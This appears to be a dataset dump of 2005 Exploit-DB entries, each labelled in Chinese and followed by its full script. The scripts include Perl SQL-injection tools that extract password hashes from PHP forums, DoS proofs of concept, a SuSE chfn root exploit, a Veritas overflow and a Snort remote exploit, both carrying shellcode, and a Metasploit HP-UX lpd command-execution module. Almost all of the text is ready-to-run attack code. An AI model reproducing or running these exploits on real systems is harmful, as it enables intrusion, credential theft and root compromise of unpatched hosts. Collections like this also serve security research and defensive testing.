QLWD/code_shield huggingface dataset:
标题: PHPWebThings 1.4 - 'forum' SQL Injection EDB-ID: 1325 CVE: 2005-4218 2005-4226 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-16 漏洞利用脚本: #!/bin/bin/perl
#-----------------------------------------------------#
#-      SQL injection in phpwebthing v 1.4.4
#-      Founder by Qptan & Exploting by AhLam
#-      www.leZe.Com Only For Geek Hacker's
#-      coded by AhLaM  A.1.M|at|hotmail.com
#-      http://www.lezr.com/vb/showthread.php?t=6557
#-----------------------------------------------------#
use LWP::Simple;

print "\n============================================\n";
print "\n   SQL injection in phpwebthing v 1.4.4    =  ";
print "\n   Founder by Qptan & Exploting by AhLam   =  ";
print "\n   www.leZe.Com Only For Geek Hacker's     =  ";
print "\n   Coded By AhLaM   A.1.M|at|hotmail.com         ";
print "\n============================================\n";

if(!$ARGV[0] or !$ARGV[1]) {
 print "\nUsage:\nperl $0 [host] [User ID] \n\nExample:\nperl $0 http://www.target.com/ 1\n";
 exit(0);
}
$url = "/forum.php?forum=-1%20union%20select%20password,password,null,null%20from%20wt_users%20where%20uid=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/ - (.*?)<\/td>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

# milw0rm.com [2005-11-16] URL: https://www.exploit-db.com/exploits/1325
标题: FTGate4 Groupware Mail Server 4.1 - imapd Remote Buffer Overflow (PoC) EDB-ID: 1327 CVE: 2005-3640 类型: DOS 平台: WINDOWS 发布日期: 2005-11-16 漏洞利用脚本: #!/usr/bin/perl

use IO::Socket;

print "\nFTGate Imapd BufferOverrun\nLuca Ercoli io\@lucaercoli.it\n";
print "http://www.lucaercoli.it\n\n\n";

$host = "localhost";

$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "143",
);

unless ($remote) { die "Can't connect to $host" }

print "[!] Connected\n";
print "[?] Exploiting...\n";

sleep(1);

my $imapd = join ("", "1 login user pass", "\r\n");

print $remote $imapd;

sleep(1);
my $imapd = join ("", "1 EXAMINE ", "B"x(224), "\r\n");
print $remote $imapd;
sleep(1);
my $imapd = join ("","C"x(11305), "\r\n");
print $remote $imapd;

print "\n[!] Done\n\n\n";

close $remote;

# milw0rm.com [2005-11-16] URL: https://www.exploit-db.com/exploits/1327
标题: Cyphor 0.19 - 'show.php?id' SQL Injection EDB-ID: 1321 CVE: 2005-3575 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-14 漏洞利用脚本: #!/bin/env perl
#//-----------------------------------------------------------#
#//        Cyphor Forum SQL Injection Exploit .. By HACKERS PAL
#//                   Greets For Devil-00 - Abducter - Almaster
#//                          http://WwW.SoQoR.NeT
#//-----------------------------------------------------------#

use LWP::Simple;

print "\n#####################################################";
print "\n#      Cyphor Forum Exploit By : HACKERS PAL        #";
print "\n#               Http://WwW.SoQoR.NeT                #";
if(!$ARGV[0]||!$ARGV[1]) {
print "\n# -- Usage:                                         #";
print "\n# -- perl $0 [Full-Path] 1                      #";
print "\n# -- Example:                                       #";
print "\n# -- perl $0 http://www.cynox.ch/cyphor/forum/ 1#";
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################\n";
   exit(0);
} else {
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################\n";

       $web=$ARGV[0];
       $id=$ARGV[1];

$url = "show.php?fid=2&id=-10%20union%20select%20id,2,3,4,5,nick,password,8,id,10%20from%20users%20where%20id=$id";
$site="$web/$url";
$page = get($site) || die "[-] Unable to retrieve: $!";
print "\n[+] Connected to: $ARGV[0]\n";

print "[+] User ID is : $id ";
$page =~ m/<span class=bigh>(.*?)<\/span>/ && print "\n[+] User Name is: $1\n";
print "\n[-] Unable to retrieve User Name\n" if(!$1);
$page =~ m/<span class=message>(.*?)<\/span>/ && print "[+] Hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

}

print "\n\nGreets From HACKERS PAL To you :)\nWwW.SoQoR.NeT . . . You Are Welcome\n\n";

# milw0rm.com [2005-11-14] URL: https://www.exploit-db.com/exploits/1321
标题: Macromedia Flash Plugin 7.0.19.0 - 'action' Denial of Service EDB-ID: 1331 CVE: 2005-3591 类型: DOS 平台: MULTIPLE 发布日期: 2005-11-18 漏洞利用脚本: /*
 
 * ********************************************************* *
 * Macromedia Flash Plugin - Buffer Overflow in flash.ocx    *
 * ********************************************************* *
 * Version: v7.0.19.0                                        *
 * PoC coded by: BassReFLeX                                  *
 * Date: 11 Oct 2005                                         *
 * ********************************************************* *
 
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void usage(char* file);

/*
<swf>
...
</swf>
*/
char SWF[] = "<swf>";
char SWF_[] = "</swf>";

//[SetBackgroundColor]
char SetBackgroundColor[] = "\x43\x02\xff\x00\x00";

//[DoAction] 1 pwn j00r 455!
char DoAction[] = "\x3c\x03\x9b\x08\x00\x41\x41\x41\x41\x41\x41\x41\x41\x00\x40\x00"
    "\x42\x42\x42\x42\x42\x42\x42\x42\x00\x43\x43\x43\x43\x43\x43\x43"
                  "\x43\x00\x44\x44\x44\x44\x44\x44\x44\x44\x00\x45\x45\x45\x45\x45"
                  "\x45\x45\x45\x00\x46\x46\x46\x46\x46\x46\x46\x46\x00\x00";

//[ShowFrame]
char ShowFrame[] = "\x40\x00";

//[End]
char End[] = "\x00\x00";

int main(int argc,char* argv[])
{
    system("cls");
    printf("\n* ********************************************************* *");
    printf("\n* Macromedia Flash Plugin - Buffer Overflow in flash.ocx    *");
    printf("\n* ********************************************************* *");
    printf("\n* Version: v7.0.19.0                                        *");
    printf("\n* Date: 11 Oct 2005                                         *");
 printf("\n* ProofOfConcept(POC) coded by: BassReFLeX                  *");
    printf("\n* ********************************************************* *");
    
    if ( argc!=2 )
    {
        usage(argv[0]);
    }
    
    FILE *f;
    f = fopen(argv[1],"w");
    if ( !f )
    {
        printf("\nFile couldn't open!");
        exit(1);
    }
                         
    printf("\n\nWriting crafted .swf file . . .");
    fwrite(SWF,1,sizeof(SWF),f);
    fwrite("\n",1,1,f);
    fwrite(SetBackgroundColor,1,sizeof(SetBackgroundColor),f);
    fwrite("\n",1,1,f);
    fwrite(DoAction,1,sizeof(DoAction),f);
    fwrite("\n",1,1,f);
 fwrite(ShowFrame,1,sizeof(ShowFrame),f);
    fwrite("\n",1,1,f);
 fwrite(End,1,sizeof(End),f);
 fwrite("\n",1,1,f);
 fwrite(SWF_,1,sizeof(SWF_),f);
 printf("\nFile created successfully!");
    printf("\nFilename: %s",argv[1]);
    return 0;
}        

void usage(char* file)
{
    printf("\n\n");
    printf("\n%s <Filename>",file);
    printf("\n\nFilename = .swf crafted file. Eg: overflow.swf");
    exit(1);
}

// milw0rm.com [2005-11-18] URL: https://www.exploit-db.com/exploits/1331
标题: ibProArcade 2.x - module 'vBulletin/IPB' SQL Injection EDB-ID: 1296 CVE: 2005-3545 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-06 漏洞利用脚本: # Rankings for (name) will state the md5 hash for the user /str0ke
# ibProArcade 2.x

IPB:
index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user]

vBulettin forums:
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

Author: B~HFH
Email:  bhfh01@gmail.com

# milw0rm.com [2005-11-06] URL: https://www.exploit-db.com/exploits/1296
标题: Linux chfn (SuSE 9.3/10) - Local Privilege Escalation EDB-ID: 1299 CVE: 2005-3503 类型: LOCAL 平台: LINUX 发布日期: 2005-11-08 漏洞利用脚本: #!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
# 
# by Hunger <susechfn@hunger.hu>
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
# 
# hunger@suse:~> id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~> ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X"$SHELL" = "X" ]; then
 echo "No SHELL environment, using /bin/sh for default."
 export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
 /bin/echo "Type your current password to get root... :)"
 /usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER > /dev/null
 if [ -u /bin/su ]; then
  /bin/su r00t
  /bin/echo "You can get root again with 'su r00t'"
 else 
  echo "/bin/su file is not setuid root :("
 fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi

# milw0rm.com [2005-11-08] URL: https://www.exploit-db.com/exploits/1299
标题: Veritas Storage Foundation 4.0 - VCSI18N_LANG Local Overflow EDB-ID: 1316 CVE: 2005-3566 类型: LOCAL 平台: LINUX 发布日期: 2005-11-12 漏洞利用脚本: #!/usr/bin/perl -w
#
# Veritas Storage Foundation 4.0 
#
# http://www.digitalmunition.com
# kf (kf_lists[at]digitalmunition[dot]com) - 08/19/2005
#
# This bug has not been patched as of:
# Q14438H.sf.4.0.00.0.rhel3_i686.tar.gz
#
# Make sure you don't get your sploits from some
# Frenchie at FR-SIRT go to milw0rm instead.
#
$retval = 0xbffffc17;

$tgts{"0"} = "/opt/VRTSvcs/bin/haagent:72";
$tgts{"1"} = "/opt/VRTSvcs/bin/haalert:72";
$tgts{"2"} = "/opt/VRTSvcs/bin/haattr:72";
$tgts{"3"} = "/opt/VRTSvcs/bin/hacli:72";
$tgts{"4"} = "/opt/VRTSvcs/bin/hareg:72";
$tgts{"5"} = "/opt/VRTSvcs/bin/haclus:72";
$tgts{"6"} = "/opt/VRTSvcs/bin/haconf:72";
$tgts{"7"} = "/opt/VRTSvcs/bin/hadebug:72";
$tgts{"8"} = "/opt/VRTSvcs/bin/hagrp:72";
$tgts{"9"} = "/opt/VRTSvcs/bin/hahb:72";
$tgts{"10"} = "/opt/VRTSvcs/bin/halog:72";
$tgts{"11"} = "/opt/VRTSvcs/bin/hares:72";
$tgts{"12"} = "/opt/VRTSvcs/bin/hastatus:72";
$tgts{"13"} = "/opt/VRTSvcs/bin/hasys:72";
$tgts{"14"} = "/opt/VRTSvcs/bin/hatype:72";
$tgts{"15"} = "/opt/VRTSvcs/bin/hauser:72";
$tgts{"16"} = "/opt/VRTSvcs/bin/tststew:72";

unless (($target) = @ARGV) {

        print "\n        Veritas Storage Foundation VCSI18N_LANG overflow, kf \(kf_lists[at]digitalmunition[dot]com\) - 08/19/2005\n";
        print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

        foreach $key (sort(keys %tgts)) {
                ($a,$b) = split(/\:/,$tgts{"$key"});
                print "\t$key . $a\n";
        }

        print "\n";
        exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a, Len: $b\n\n";

$sc = "\x90"x1024;
$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";
$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";
$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";
$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";

$buf = "A" x $b;
$buf .= "$ret" x 2;

$ENV{"VCSI18N_LANG"} = $buf;
$ENV{"DMR0x"} = $sc;

exec("$a DMR0x");

# milw0rm.com [2005-11-12] URL: https://www.exploit-db.com/exploits/1316
标题: Arki-DB 1.0 - 'catid' SQL Injection EDB-ID: 1320 CVE: 2005-3696 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-14 漏洞利用脚本: [~] ArkiDB SQL Injection's [~]
[~] ArkiDB (catid) Ramote SQL Injection's 
[~] ---------------------- [~]
[~] Bug By Devil-00
[~] devil-00@s4a.cc
[~] 
[~] Whe Ar All Love Security4Arab For Ever [ S4a.cc ]
[~] -------------------------------------------------
[~]
[~] Explorer Exploit By  Devil-00
[~] -------------------------------------------------
[~] Greetz :-
[~]   Devil-00
[~]   www.s4a.cc << We Love You
[~]   www.securitygurus.net << Love you 2 :P
[~]   HACKERS PAL - ABDUCTER - Xion - Yes2Hack - Ja7ole - Magode .. All S4a And SG Members
[~]---------------------------------------------------------------------------------------------------------
[~] Explorer Exploit :-
[~]
[~]  [Username]
[~] /index.php?action=view&view=category&catid=-1%20UNION%20SELECT%20null,null,username,null,null,null,null,null%20FROM%20arkidb_users%20WHERE%20id=1&catflag=1&sublevel=1    
[~]
[~]  [Password]
[~] /index.php?action=view&view=category&catid=-1%20UNION%20SELECT%20null,null,userpass,null,null,null,null,null%20FROM%20arkidb_users%20WHERE%20id=1&catflag=1&sublevel=1
[~]----------------------------------------------------------------------------------------------------------
[~] FIX :-
[~]  Line 75 .. File /source/view.php
[~]  
[~]   $catid = $this->get('catid');
[~] Change To
[~]   $catid = intval($this->get('catid'));
[~]---------------------------------------------------------------------------------------------------------- 

[~] milw0rm.com [2005-11-14] URL: https://www.exploit-db.com/exploits/1320
标题: Snort 2.4.2 - Back Orifice Pre-Preprocessor Remote (4) EDB-ID: 1314 CVE: 2005-3252 类型: REMOTE 平台: LINUX 发布日期: 2005-11-11 漏洞利用脚本: #!/usr/bin/ruby -w

#
#
# Version 0.1 (Public)
#
# snort 2.4.0 - 2.4.2 Back Orifice Pre-Preprocessor Remote Exploit
#
# by xwings at mysec dot org
# URL : http://www.mysec.org , somebody need to update the page
# 
# Saying Hi to ....
#
# . All the 1337 c0d3r @ pulltheplug.org
# . Gurus from #rubylang @ freenode.net
# . Skywizard @ somewhere right now
# . HITBSecConf CREW and Team Panda
# 
# 03:07 <@mark> hey xwings
# 03:07 <@mark> why don't you come up and see me sometime?
#
# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 3.3.5 (Debian 1:3.3.5-13)
# Snort 2.4.2 , ./configure && make && make install
#
# Use Ruby : http://www.ruby-lang.org
# 
# 
#

require 'socket'

fathost         = ARGV[0]
packetsize      = 1069 # ret is 1069
targetport      = 9080

boheader =      "*!*QWTY?"  +
                [1096].pack("V")  +           # Length ,thanx Russell Sanford
                "\xed\xac\xef\x0d"+           # ID
                "\x01"                        # PING

## Port Bind 3964 . connectback, refer to Russell Sanford's code

shellcode =     "\x31\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe8"+
                "\x8e\x30\x01\x83\xeb\xfc\xe2\xf4\xd9\x55\x63\x42\xbb\xe4\x32\x6b"+
                "\x8e\xd6\xa9\x88\x09\x43\xb0\x97\xab\xdc\x56\x69\xe7\xf2\x56\x52"+
                "\x61\x6f\x5a\x67\xb0\xde\x61\x57\x61\x6f\xfd\x81\x58\xe8\xe1\xe2"+
                "\x25\x0e\x62\x53\xbe\xcd\xb9\xe0\x58\xe8\xfd\x81\x7b\xe4\x32\x58"+
                "\x58\xb1\xfd\x81\xa1\xf7\xc9\xb1\xe3\xdc\x58\x2e\xc7\xfd\x58\x69"+
                "\xc7\xec\x59\x6f\x61\x6d\x62\x52\x61\x6f\xfd\x81"

filler =        "\x90" * (packetsize-(boheader.length + shellcode.length))

retadd =        [0xbffff370].pack('L')

        
darthcode = (shellcode+filler+retadd)

def msrand(seed)
        @holdrand = 31337 
        end

def mrand()
        return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
        end

def bocrypt(takepayload)

        @arrpayload = (takepayload.split(//))
       
        encpayload ="".to_s
        @holdrand=0
        msrand(0)
        
        @arrpayload.each do |c|
                encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
                end
        
        return encpayload
        end

UDPSocket.open.send(bocrypt(boheader+darthcode), 0, fathost, targetport)

# milw0rm.com [2005-11-11] URL: https://www.exploit-db.com/exploits/1314
标题: TClanPortal 1.1.3 - 'id' SQL Injection EDB-ID: 1273 CVE: 2005-4656 类型: WEBAPPS 平台: PHP 发布日期: 2005-10-26 漏洞利用脚本: # TClanPortal Version 3 ..
# Search By Google :-
# by TriggerTG.de 2003 - Version 3
#
# Gr33tz :-
#         Abducter .. SQL Injection's FOunder   - | abducter_minds76@hotmail.com |-
#         Devil-00 .. SQL Injection's Exploting - | devil-00@s4a.cc | -
#         Security4Arab .. A'Where Home .. WE LOVE S4A FOR EVER :P
#         HACKERS PAL ..
#         Yes2Hack ..
#         WwW.Sqor.NeT
#         WwW.S4a.Cc
#         WwW.SecurityGurus.NeT
#
#
#
# This Injection's Whene Prefix = "";
#
# 1- SQL Injection
# /ClanPortal/linkdl/index.php?action=relatedlink&id=-1%20UNION%20SELECT%20pw,name,null,name,name,name%20FROM%20member%20%20WHERE%20id=1/*
# http://yahzee.ya.funpic.de/ClanPortal/
#
# Richard
# d38b89019f0496a4e67bfbe95cbcba0f    - MD5
#
# 2- SQL Injection
# /linkdl/index.php?action=bewerten&id=-1%20UNION%20SELECT%20pw,null,null%20FROM%20member%20%20WHERE%20id=1/*
# [!] GET Password
#
#
# /linkdl/index.php?action=bewerten&id=-1%20UNION%20SELECT%20name,null,null%20FROM%20member%20%20WHERE%20id=1/*
# [!] GET Username
#
# [!] Perl Code By Devil-00 | devil-00@s4a.cc |
#------------------------------------------------------------------------------------------------------------

use LWP::Simple;

print "\n\n==========================================\n";
print "\n= Exploit for TClanPortal Version 3            ";
print "\n= Coded By Devil-00 | devil-00@s4a.cc |        ";
print "\n= Gr33tz :-                                                            ";
print "\n= Abducter .. SQL Injection's FOunder   - | abducter_minds76@hotmail.com |-            ";
print "\n= Devil-00 .. SQL Injection's Exploting - | devil-00@s4a.cc | -        ";
print "\n= Security4Arab .. A'Where Home .. WE LOVE S4A FOR EVER :P             ";
print "\n= HACKERS PAL ..                                                       ";
print "\n= Yes2Hack ..                                                          ";
print "\n= WwW.Sqor.NeT                                                         ";
print "\n= WwW.S4a.Cc                                                           ";
print "\n= WwW.SecurityGurus.NeT                                        ";
print "\n============================================\n\n";

if(!$ARGV[0] or !$ARGV[1]) {
  print "Usage:\nperl $0 [Full-Path] [SQL Prefix] [User ID]\n\nExample:\nperl $0 http://yahzee.ya.funpic.de/ClanPortal/ 1\n";
  exit(0);
}
$url = "/linkdl/index.php?action=relatedlink&id=-1%20UNION%20SELECT%20pw,name,null,name,name,name%20FROM%20member%20%20WHERE%20id=$ARGV[1]/*";
$page = get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page =~ m/<a href='(.*?)' target='_parent'>/ && print "[+] User ID is: $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);
$page =~ m/<b>Name:<\/b> <a href='index\.php\?action=kat&id=0'>(.*?)<\/a>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

# milw0rm.com [2005-10-26] URL: https://www.exploit-db.com/exploits/1273
标题: Opera 8.02 - Remote Denial of Service (1) EDB-ID: 1254 CVE: 2005-4718 类型: DOS 平台: MULTIPLE 发布日期: 2005-10-16 漏洞利用脚本: <!--

Vulnerable: Opera 8.02 and below
      Date: 19.05.2005
Discovered: posidron@tripbit.net

-->

<html><head></head><body><bdo>A<bgsound style="margin:-99;">A<hr>A<hr></body></html>

# milw0rm.com [2005-10-16] URL: https://www.exploit-db.com/exploits/1254
标题: HP-UX 11.11 - lpd Remote Command Execution (Metasploit) EDB-ID: 1261 CVE: 2005-3277 类型: REMOTE 平台: HP-UX 发布日期: 2005-10-19 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::hpux_lpd_exec;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
 'Name'  => 'HP-UX LPD Command Execution',
 'Version'  => '$Revision: 1.13 $',
 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
 'Arch'  => [ ],
 'OS'    => [ 'hpux' ],
 'Priv'  => 0,
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The LPD server port', 515],
   },
 'Payload' =>
   {
  'Space'    => 200,
  'Keys'     => ['cmd_nospaceslash'],
   },

 'Description'  => Pex::Text::Freeform(qq{
        This exploit abuses an unpublished vulnerability in the HP-UX LPD
        service. This flaw allows an unauthenticated attacker to execute
        arbitrary commands with the privileges of the root user. The LPD
        service is only exploitable when the address of the attacking system
        can be resolved by the target. This vulnerability was silently patched
  with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213.
}),
 'Refs'  =>  [
  ['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
   ],

 'Keys' => ['lpd'],
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_path = $self->GetVar('RPATH');
 my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

 my $res;

 # We use a second connection to exploit the bug
 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );
   
 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 srand(time() + $$);
 my $num = int(rand() * 1000);

 $s->Send("\x02msf$num`$cmd`\n");
 $res = $s->Recv(1, 5);
 if (ord($res) != 0) {
  $self->PrintLine("[*] The target did not accept our second job request command");
  $s->Close;
  return;
 }

 $s->Send("\x02 32 cfA187control\n");
 $res = $s->Recv(1, 5);
 if (ord($res) != 0) {
  $self->PrintLine("[*] The target did not accept our control file");
  $s->Close;
  return;
 }

 $self->PrintLine("[*] Remember to kill the telnet process when finished");
 $self->PrintLine("[*] Forcing an error and hijacking the cleanup routine...");
 $s->Send(Pex::Text::AlphaNumText(16384));
 $s->Close;

 return;
}

# milw0rm.com [2005-10-19] URL: https://www.exploit-db.com/exploits/1261
标题: TYPSoft FTP Server 1.11 - 'RETR' Denial of Service EDB-ID: 1251 CVE: 2005-3294 2001-1156 类型: DOS 平台: WINDOWS 发布日期: 2005-10-14 漏洞利用脚本: #!/usr/bin/perl

use IO::Socket;
use Socket;

print "\n-= TYPSoft FTP Server <= v1.11 DOS =-\n";
print "-= wood (at) Exploitlabs.com =-\n\n";

if($#ARGV < 2 | $#ARGV > 3) { die "usage: perl typsoft-1.11-DOS.pl <host> <user> <pass> [port]\n" };
if($#ARGV > 2) { $prt = $ARGV[3] } else { $prt = "21" };

$adr = $ARGV[0];
$usr = $ARGV[1];
$pas = $ARGV[2];
$err1 = "RETR 0";
$err2 = "RETR 1";


$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prt\n";

$remote->autoflush(1);

print $remote "USER $usr\n" and print "1. Sending : USER $usr...\n" or die
"Error: cant send user\n";

print $remote "PASS $pas\n" and print "2. Sending : PASS $pas...\n" or die
"Error: cant send pass\n";

print $remote "$err1/\n" and print "3. Sending : ErrorCode 1...\n";
print $remote "$err2/\n" and print "4. Sending : ErrorCode 2...\n\n"or die 
"Error: cant send error code\n";

print "Attack done. press any key to exit\n";
$bla= <STDIN>;
close $remote; 

# milw0rm.com [2005-10-14] URL: https://www.exploit-db.com/exploits/1251